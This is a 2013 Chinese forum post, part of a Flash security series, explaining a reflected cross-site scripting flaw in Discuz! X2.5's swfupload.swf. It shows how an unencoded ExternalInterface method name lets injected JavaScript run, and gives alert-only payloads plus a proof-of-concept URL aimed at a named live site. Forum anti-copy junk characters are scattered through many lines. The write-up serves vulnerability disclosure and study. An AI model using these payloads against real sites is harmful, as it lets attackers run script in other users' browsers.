找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1868|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
上回我们说# V# ~3 {( N+ I# X
! l: u" u# }3 x/ o0 p2 o
flash.external.ExternalInterface.call($methodName, $parameter); x! Y& I$ c6 [/ z! b2 J
在浏览器中执行的是
% o( N/ r1 q. }
/ U& d0 H8 o( h3 V7 {4 |try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
% V& u- V$ ^! V5 A, w; f对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如8 I) _; A; X$ L  f7 _" |  ^1 K2 ^
, O) k9 s4 H# A
flash.external.ExternalInterface.call("object."+$methodName, $parameter)7 T0 E& d1 \/ H2 E  `8 A
$methodName = a())}catch(e){alert(/xss/)}//0 _- R& G* z2 J" T3 A) C  G
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。+ ~, o0 D& I1 i

5 n7 r. R4 V" Q; G4 f1 e( Rtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }1 \" A* U; Z) ]# o0 }' a
- y  p9 [3 o( u' J* C
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )" @$ C' J" |0 F! q$ F, K. [
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
/ R  o* T; U2 j! Z6 z! Q
: `- d6 w! _6 w( g7 i+ l: g
0 B2 j( r; W0 p, \
8 V2 D: ?7 I, g漏洞文件:upload\static\image\common\swfupload.swf
2 [3 y% ~) `5 J( c: {. y5 p% U' G" }; ?
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
- n* A$ r7 p# H( e: j# _  o! O- C' K+ T1 b) O
: G. Z, {) K7 T7 ?9 Y5 y2 T
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//4 S, I9 j+ }. F, M5 E) z. a6 ?

% N5 a1 W& M; ?% l+ U+ G+ y& U) F) u, q4 E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表